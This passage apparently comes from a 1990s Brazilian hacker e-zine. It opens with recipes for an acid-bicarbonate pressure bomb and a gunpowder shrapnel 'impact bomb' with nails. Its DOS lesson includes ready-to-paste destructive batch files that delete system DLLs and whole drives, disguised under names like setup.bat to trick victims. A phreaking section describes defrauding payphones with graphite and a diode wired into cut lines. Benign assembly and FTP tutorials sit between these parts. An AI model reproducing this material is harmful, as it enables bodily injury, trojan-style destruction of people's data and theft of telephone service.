     Num recipiente com acido, coloque lentamente um outro menor
      (com o bicarbonato dentro) dentro do grande (com o acido) de modo
      que o bicarbonato nao entre em contato com acido (pode-se encaixar
      na lateral do recipiente maior, ou deixar boiando (essa ultima
      e' mais facil, porem bem mais perigosa)). O recipiente maior deve
      ser bem tampado (que faca bastante presao) , e o menor destampado.

     Funcionamento: Quando o recipiente maior for arremecado ou virado
     o bicarbonato ira entrar em contato com o acido e vai reagir
     liberando gazes, a presao almenta e o recipiente explode !!!!

     A potencia desta bomba ira variar dependendo da intencidade
     do acido, e da presao do recipiente !!!

     Alguns extintores de incendio funcionam assim, so' que com uma
     abertura, por onde a reacao escapa em forma de espuma.

   Bomba de IMPACTO - materiais:
                             saco plastico;
                             polvora (desmonte rojoes);
                             corda ou fita adesiva;
                             pedras (mineral) ou bolas de gude;
                             parafusos e/ou pregos (opcional).

                  Coloque tudo dentro do saco (use de preferencia 2
                  ou mais), amarre o saco de modo que fique levemente
                  apertado (se apertar demais podera explodir na sua
                  mao), arremece ela .... mas cuidado com os estilhacos.

                  Se for usado pregos e/ou parafusos, deve-se tomar mais
                  cuidado ainda, pois voara bem mais estilhacos !

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                        SISTEMAS OPERACIONAIS  --  aula  01

    SO, como e conhecido, e' o software essencial para o funcionamento
     do computador. Basicamente o SO e' composto do Kernel (nucleo),
     arquivos de comando e alguns aplicativos basicos.

    Irei ensinar a manipular os principais SOs existentes por ai, que
     sao o DOS, WINDOWS (nao recomendo), LINUX (otimo OS), UNIX,
     OS/2, Mac OS, etc...

                   MS-DOS

    Eh o unico SO descente da Microsoft, equipou a grande maioria dos
     computadores ate a chegada do Windows (5, 6, ..... anos atras),
     ainda e'encontrado em muitos computadores, e no Windows 95 vem
     uma versao bem redusida dele. Muito parecido com ele (praticamente
     igual), e' o IBM PC DOS, e levente diferente e'o NOVELL DOS, que
     era mais recomendado para workgroups (rede de trabalho).

   Se vc acha besteira aprender a usar bem o DOS, vc ta enganado, o
    DOS e'o 1. sistema que se deve manipular bem, se vc so usa o
    Windows, comece a usar bastante o seu DOS, vc ira adquirir uma
    boa esperiencia, pois o LINUX e o UNIX basicamente sao bem parecidos.

  Comandos:                                    sintaxe:

          cls ---      limpa a tela                   cls

          cd  --- abre um diretorio (pasta) ------    cd nome_dir
                                                      cd..
                                                      cd\
                  ..  -  retorna um subdir;
                  \   -  retorna ao root.

          md  --- cria um diretorio          -----    md nome_dir

          rd  --- apaga um dir. tem que estar
                  fora do dir e ele tem que
                  estar vazio.          ------------  rd nome_dir

          dir --- lista os aquivos e subdirs
                  de um diretorio.        ----------  dir /a /p /w /s
                  /a -- lista os dirs. e
                  arqs. ocultos.
                  /p -- da uma pausa por tela
                  /w -- lista na horizontal.
                  /s -- lista os subdirs.
                  ex.
                  dir /s psico --- mostra os arqs. e subdirs.
                                   do dir. psico.
                  dir *win*.*  --- lista os arqs. do dir. atual
                                   que tenham "win" em seu nome.
                                   ex.
                                   winsck.dll
                                   winzip32.exe
                                   gamewin2.zip
                  dir psico.* ---  lista os arqs. "psico" com
                                   qualquer extensao.
                                   ex.
                                   psico.txt
                                   psico.exe
                                   psico.ini

          copy --- copia um arq. de um dir.
                   pra outro    --  ------  copy nome_arq.??? novo_dir

          del --- deleta (apaga) arqs.  ------       del nome_arq.???

          move --- move um arq.    ---------  o mesmo do copy

          type --- mostra o conteudo de um arq.  -----  type nome_arq

          more --- usado apos o type, ou outro
                   comando em que a tela role
                   muito. Ele da uma pausa por
                   tela. Usado logo apos o
                   comando.                     ------      | more

          attrib --- seta os atributos de arqs.
                     e dirs.  -  -----  attrib +a +s +h +r  nome_arq.???
                     +   -    ativa
                     -   -    desativa
                     a   -    arquivo
                     s   -    arquivo de sistema
                     h   -    arquivo oculto
                     r   -    arquivo somente de leitura
                     ex.
                     attrib +h psico.txt  -- deixa o arq. psico.txt
                                             oculto.

          deltree --- apaga um dir. e tudo que
                      tiver dentro.  -------------   deltree /y nome_dir
                      /y  -  apaga sem pedir comfirmacao.

          edit  ---  editor do DOS     --------     edit
                                                    edit nome_arq.txt

          prompt ---- e' o "c:\" do teu DOS. ---    prompt $p$g$t$d
                      $p = :
                      $g = \
                      $t = mostra a hora
                      $d = mostra a data

          echo ------- coloca mensagens em bath files -- echo qquer_bosta
                                                         echo on
                                                         echo off
                       on  -  e' o padrao, ativa o prompt;
                       off -  desativa o prompt.

          help   -------  lista os comandos, suas funcoes e sintaxes.

          /?     ------- usado logo apos o nome do comando, da um help.

                  bath files ou arquivos em lote

    E um script (conjunto de comandos) que quando executado, executa
     varios comandos de uma so vez. Sao os *.bat.

                     Fazendo um bath file

           copy con nome_arq.bat
           comandos (cmd)
           cmd
           cmd
           cmd
           cmd
           ^z      -- ctrl + "z"

          ex.
           copy con atalho.bat
           cd\
           cd games
           cd rpg
           cd krondor
           krondor
           ^z

   O exemplo acima mostra um bath file simples que cria um atalho para
    o jogo Krondor, que ta no c:\games\rpg\krondor

     Pode-se tbem usar um editor qualquer e eliminar a 1. e a ultima
      linha. Salvando o arquivo em .bat !!

                            BAT VIRUS

  Nao da pra dizer que sao virus, mas da pra sacanear bastande lamer !!

  Fazer arquivos maldozos e bem simples, basta fazer um bath file com
   varios comandos do tipo: del, move, deltree, rd, etc ... E nomea-los
   com nomes do tipo: install.bat, instala.bat, setup.bat, etc.

  O legal e' colocar esses arquivos num diretorio cheio de arquivos nada
   a ver, como: intro.voc, intro.pcx, war.win, great.top, e assim por
   diante, o lamer pensa que um jogo, roda o .bat e se fode todo !!

   exemplos de BAT VIRUS :

   escreva no edit.
   Se vc abriu o psico002.txt no edit, e' so' copiar e depois colar !!

   <>  ---> nao va por isso no arquivo :)  !!

   cd\
   cd\windows\system
   attrib -a -s -h -r *.dll
   cls
   del *.dll
   cls
   cd\
   attrib -a -s -h -r *.*
   cls
   del *.sys
   cls
   echo off
   echo ********************************************************************
   echo *   LL            A         MMM       MMMM   EEEEEEE   RRRRRRRR    *
   echo *   LL          AA AA       MM M     M  MM   EE        RR     RR   *
   echo *   LL         AA   AA      MM  M   M   MM   EEEE      RRRRRRRR    *
   echo *   LL        AA  A  AA     MM   M M    MM   EE        RR   RR     *
   echo *   LLLLL    AA       AA    MM    M     MM   EEEEEEE   RR    RR    *
   echo *                                                                  *
   echo ********************************************************************
   echo ********************************************************************
   echo *   LL            A         MMM       MMMM   EEEEEEE   RRRRRRRR    *
   echo *   LL          AA AA       MM M     M  MM   EE        RR     RR   *
   echo *   LL         AA   AA      MM  M   M   MM   EEEE      RRRRRRRR    *
   echo *   LL        AA  A  AA     MM   M M    MM   EE        RR   RR     *
   echo *   LLLLL    AA       AA    MM    M     MM   EEEEEEE   RR    RR    *
   echo *                                                                  *
   echo ********************************************************************
   echo ********************************************************************
   echo *   LL            A         MMM       MMMM   EEEEEEE   RRRRRRRR    *
   echo *   LL          AA AA       MM M     M  MM   EE        RR     RR   *
   echo *   LL         AA   AA      MM  M   M   MM   EEEE      RRRRRRRR    *
   echo *   LL        AA  A  AA     MM   M M    MM   EE        RR   RR     *
   echo *   LLLLL    AA       AA    MM    M     MM   EEEEEEE   RR    RR    *
   echo *                                                                  *
   echo ********************************************************************
   echo on
   prompt E U    S O U   U M   L A M E R  !!!!

   <><><><><><><>
   esse ai vai foder o windows do cara e vai dar pau quando ele resetar.

   Se vc nao quizer por a mensagem, pro lamer nem se ligar que foi vc que
    causou dano no seu PC, apague as linhas que tem "echo" e "prompt" !!

   <>

   cd\
   deltree /y *.*

   <><><><><>
   esse ai apaga tudo que encontra pela frente, mas coloca uma msg na
    tela dizendo que ta apagando, se o PC dele for rapido, ate ele se
    ligar, ja fez um estrago.

****************************************************************************

          T U T O R I A L   D E   L I N G U A G E M   A S S E M B L Y
          ---------------   ---   -----------------   ---------------

                                  Conte£do:

           1.Introdu‡Æo
           2.Conceitos B sicos
           3.Programa‡Æo Assembly
           4.Instru‡äes Assembly
           5.Interrup‡äes e gerˆncia de arquivos
           6.Macros e procedimentos
           7.Exemplos de programas
           8.Bibliografia

*****************************************************************************

                           CAPÖTULO 1: INTRODU€ÇO

Conte£do:

1.1.O que h  de novo neste material
1.2.Apresenta‡Æo
1.3.Por que aprender Assembly?
1.4.N¢s precisamos da sua opiniÆo

                    --------------- // ---------------

1.1.O que h  de novo neste material:

Ap¢s um ano da realiza‡Æo da primeira versÆo do tutorial, e atrav‚s das
opiniäes recebidas por e-mail, resolvemos ter por disposi‡Æo todos estes
coment rios e sugestäes. Esperamos que atrav‚s deste novo material Assembly,
as pessoas que se mostrarem interessadas possam aprender mais sobre o seu
IBM PC. Esta nova edi‡Æo do tutorial inclui:

Uma se‡Æo completa sobre como usar o programa debug.
Mais exemplos de programas.
Um motor de pesquisa, para qualquer t¢pico ou item relacionado … esta
nova versÆo.
Consider vel reorganiza‡Æo e revisÆo do material Assembly.
Em cada se‡Æo, h  um link para o Dicion rio On-line de Computa‡Æo de
Dennis Howe.

1.2.Apresenta‡Æo:

Este tutorial destina-se …quelas pessoas que nunca tiveram contato com a
Linguagem Assembly.

O tutorial est  completamente focado em computadores com processadores 80x86
da fam¡lia Intel, e considerando que a base da linguagem ‚ o funcionamento
dos recursos internos do processador, os exemplos descritos nÆo sÆo
compat¡veis com qualquer outra arquitetura.

As informa‡äes estÆo dispostas em unidades ordenadas para permitir f cil
acesso a cada t¢pico, bem como uma melhor navega‡Æo pelo tutorial.

Na se‡Æo introdut¢ria sÆo mencionados alguns conceitos elementares sobre
computadores e a Linguagem Assembly em si.

1.3.Por que aprender Assembly?

A primeira razÆo para se trabalhar com o assembler ‚ a oportunidade de
conhecer melhor o funcionamento do seu PC, o que permite o desenvolvimento
de programas de forma mais consistente.

A segunda razÆo ‚ que vocˆ pode ter um controle total sobre o PC ao fazer
uso do assembler.

Uma outra razÆo ‚ que programas assembly sÆo mais r pidos, menores e mais
poderosos do que os criados com outras linguagens.

Ultimamente, o assembler (montador) permite uma otimiza‡Æo ideal nos
programas, seja no seu tamanho ou execu‡Æo.

1.4.N¢s precisamos da sua opiniÆo:

Nosso intuito ‚ oferecer um modo simples para que vocˆ consiga aprender
Assembly por si mesmo. Por tanto, qualquer coment rio ou sugestÆo ser
bem-vinda.

*****************************************************************************

                           CAPÖTULO 2: CONCEITOS BµSICOS
 Conte£do:

 2.1.Descri‡Æo b sica de um sistema computacional.
 2.2.Conceitos b sicos da Linguagem Assembly
 2.3.Usando o programa debug

			--------------- // ---------------

Esta se‡Æo tem o prop¢sito de fazer um breve coment rio a respeito dos
principais componentes de um sistema computacional, o que ir  permitir ao
usu rio uma melhor compreensÆo dos conceitos propostos no decorrer do
tutorial.

2.1.DESCRIۂO DE UM SISTEMA COMPUTACIONAL

Conte£do:

2.1.1.Processador Central
2.1.2.Mem¢ria Principal
2.1.3.Unidades de Entrada e Sa¡da
2.1.4.Unidades de Mem¢ria Auxiliar

Sistema Computacional.

Chamamos de Sistema Computacional a completa configura‡Æo de um computador,
incluindo os perif‚ricos e o sistema operacional.

2.1.1.Processador Central.

 tamb‚m conhecido por CPU ou Unidade Central de Processamento, que por sua
vez ‚ composta pela unidade de controle e unidade de l¢gica e aritm‚tica.
Sua fun‡Æo consiste na leitura e escrita do conte£do das c‚lulas de mem¢ria,
regular o tr fego de dados entre as c‚lulas de mem¢ria e registradores
especiais, e decodificar e executar as instru‡äes de um programa.

O processador tem uma s‚rie de c‚lulas de mem¢ria usadas com freqˆncia e,
dessa forma, sÆo partes da CPU. Estas c‚lulas sÆo conhecidas com o nome de
registradores. Um processador de um PC possui cerca de 14 registradores.
Como os PCs tem sofrido evolu‡Æo veremos que podemos manipular registradores
de 16 ou 32 bits.

A unidade de l¢gica e aritm‚tica da CPU realiza as opera‡äes relacionadas ao
c lculo simb¢lico e num‚rico. Tipicamente estas unidades apenas sÆo capazes
de realizar opera‡äes elementares, tais como: adi‡Æo e subtra‡Æo de dois
n£meros inteiros, multiplica‡Æo e divisÆo de n£mero inteiro, manuseio de
bits de registradores e compara‡Æo do conte£do de dois registradores.

Computadores pessoais podem ser classificados pelo que ‚ conhecido como
tamanho da palavra, isto ‚, a quantidade de bits que o processador ‚ capaz
de manusear de uma s¢ vez.

2.1.2.Mem¢ria Principal.

 um grupo de c‚lulas, agora sendo fabricada com semi-condutores, usada para
processamentos gerais, tais como a execu‡Æo de programas e o armazenamento
de informa‡äes para opera‡äes.

Cada uma das c‚lulas pode conter um valor num‚rico e ‚ capaz de ser
endere‡ada, isto ‚, pode ser identificada de forma singular em rela‡Æo …s
outras c‚lulas pelo uso de um n£mero ou endere‡o.

O nome gen‚rico destas mem¢rias ‚ Random Access Memory ou RAM. A principal
desvantagem deste tipo de mem¢ria ‚ o fato de que seus circuitos integrados
perdem a informa‡Æo que armazenavam quando a energia el‚trica for
interrompida, ou seja, ela ‚ vol til. Este foi o motivo que levou … cria‡Æo
de um outro tipo de mem¢ria cuja informa‡Æo nÆo ‚ perdida quando o sistema ‚
desligado. Estas mem¢rias receberam o nome de Read Only Memory ou ROM.

2.1.3.Unidades de Entrada e Sa¡da.

Para que o computador possa ser £til para n¢s se faz necess rio que o
processador se comunique com o exterior atrav‚s de interfaces que permitem a
entrada e a sa¡da de informa‡Æo entre ele e a mem¢ria. Atrav‚s do uso destas
comunica‡äes ‚ poss¡vel introduzir informa‡Æo a ser processada e mais tarde
visualizar os dados processados.

Algumas das mais comuns unidades de entrada sÆo o teclado e o mouse. As mais
comuns unidades de sa¡da sÆo a tela do monitor e a impressora.

2.1.4.Unidades de Mem¢ria Auxiliar.

Considerando o alto custo da mem¢ria principal e tamb‚m o tamanho das
aplica‡äes atualmente, vemos que ela ‚ muito limitada. Logo, surgiu a
necessidade da cria‡Æo de dispositivos de armazenamento pr ticos e
econ“micos.

Estes e outros inconvenientes deram lugar …s unidades de mem¢ria auxiliar,
perif‚ricos. As mais comuns sÆo as fitas e os discos magn‚ticos.

A informa‡Æo ali armazenada ser  dividida em arquivos. Um arquivo ‚ feito de
um n£mero vari vel de registros, geralmente de tamanho fixo, podendo conter
informa‡Æo ou programas.

			--------------- // ---------------

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                                    FTP

                   Protocolo de transferencia de arquivos.
   E' o protocolo para tranferencia de arquivos mais usado, em um
    servidor de FTP vc encontra tudo que e' tipo de arquivo (e claro
    que as vezes pode demorar um pouco pra vc achar aquilo que vc quer).

    Acessando um servidor de FTP

    Para acessar um servidor de FTP, vc precisa de um programa especial,
     caso vc nao tenha saco pra baixar um, o windows tem, va ao prompt do
     DOS, e digite ftp, open nome_do_servidor, user nome_usuario e pass
     senha.
     exemplo. no prompt do DOS digite:
                (entra no ftp)         ftp
                (nome do ftp server)   open ftp.mandic.com.br
                (usuario)              anonymous
                (password)             ummail@qual.quer

     comandos:
              ls       -   parecido com o "dir" do DOS;
              cd x     -   entra no diretorio "x";
              cd ..    -   retorna um diretorio;
              get y    -   puxa o arquivo "y";
              ? = help -   mostra os comandos.

  <><><><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>><<>>

                       INTRO AO PHREAK      aula 02

                      Telefones Publicos

   Telefones publicos sao bem uteis no dia a dia, principalmente se vc
    nao paga as ligacoes que faz.

   Existem inumeras tecnicas para deixar seu cartao infinito, pena que
    a maioria e' tudo papo furado. Uma delas que eu testei e funcionou,
    foi a do grafite.

                Aumentando os creditos do cartao

    Arroche grafite no seu cartao. Pegue um lapis e risque a parte
     cinza dele, mas risque com bastante forca e bastante, isto faz
     com que os fusiveizinhos do cartao nao queimem, ou eles queimam
     mas a corrente continua passando, sei la.
    Isso funcionou diferente em varios orelhoes, uns aumentou bastente,
     uns bem pouco, outros nada, e teve orelhao que nem funcionou.

      Fazendo Ligacoes de Graca em Telefone Publico usando um DIODO

  O diodo e' um componente eletronico que basicamente permite que a
   corrente circule apenas em uma direcao dentro de um circuito.
  Pode ser encontrado facilmente em casa de componentes eletronicos.

  Materiais:
            um diodo IN4002, IN4004 ou IN4007;
            um resistor de 22K e potencia de 1W;
            um orelhao vitima;
            um estilete, faca ou outra coisa afiada pra descascar o fio;
            uma dose de paciencia;
            atencao para nao cair em cana.

    Ligue o diodo em paralelo com resistor, em seguida descasque os fios
     do telefone e ligue a combinacao resistor-diodo em cada extremidade
     do fio.

                          esquema

     fio do telefone  ---->||
         |                 ||
         |              +  ||   -
         |                 ||
         |-->  /----------/  \----------\
               |         diodo          |fio do telefone
               |_____/---|||||---\______|
            +  |     \---|||||---/      |  -
               |         resistor       |
               |                        |
               \----------\  /----------/
                           ||
                        +  ||  -
                           || fio do telefone
                           ||

             Se ficar mudo, e' so inverter a polaridade !!!

       As vezes e meio foda descascar o fio, pois alguns tem uma camada
        protetora, pra esses, use um gancho (use a imaginacao) pra
        alcancar a parte sem a protecao. Vide esquema.

                     esquema

                       Û  <--- fio protegido
                       Û
                   I-  Û  -I
                   I   Û   I----- tubo protetor
                   I   |   I
                   I   |---I-------- fio desprotegido
                   I   |   I
                   I   |   I
                   I   |   I

  Enfie o gancho pelo tubo ate encontrar o fio desprotegido !!

       Ligando de graca em orelhoes com telefone normal

   Consiga um telefone (quanto menor melhor), use o esquema acima pra
     descascar o fio do telefone (nao precisa colocar diodo nem resistor)
     pegue o telefone e faca a ligacao do fio do orelhao com ele.

                                      ...... ate o proximo !!!

()())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(())(()(

                                 |--
                         /\//\||)|-|/\@yahoo.com         ÿ
                                 |--

    ESTA EDICAO VEIO SEM O GUITAR PLACE POIS ESTA SENDO PREPARADO UMA
      SECAO ESPECIAL PARA O PROXIMO NUMERO. AGUARDEM !!!!!!!

      QUALQUE DUVIDA, CRITICA OU SUGESTAO, E-MAILS SAO BEM VINDOS !!
              TODOS OS E-MAILS SERAO RESPONDIDOS!

         MANDE SEUS DADOS PARA QUE VC POSSA SER CADASTRADO E TER
                 PRIVILEGIO AO RECEBER INFORMACOES !!

         -------->>>>>>    naideia@yahoo.com    <<<<<<<--------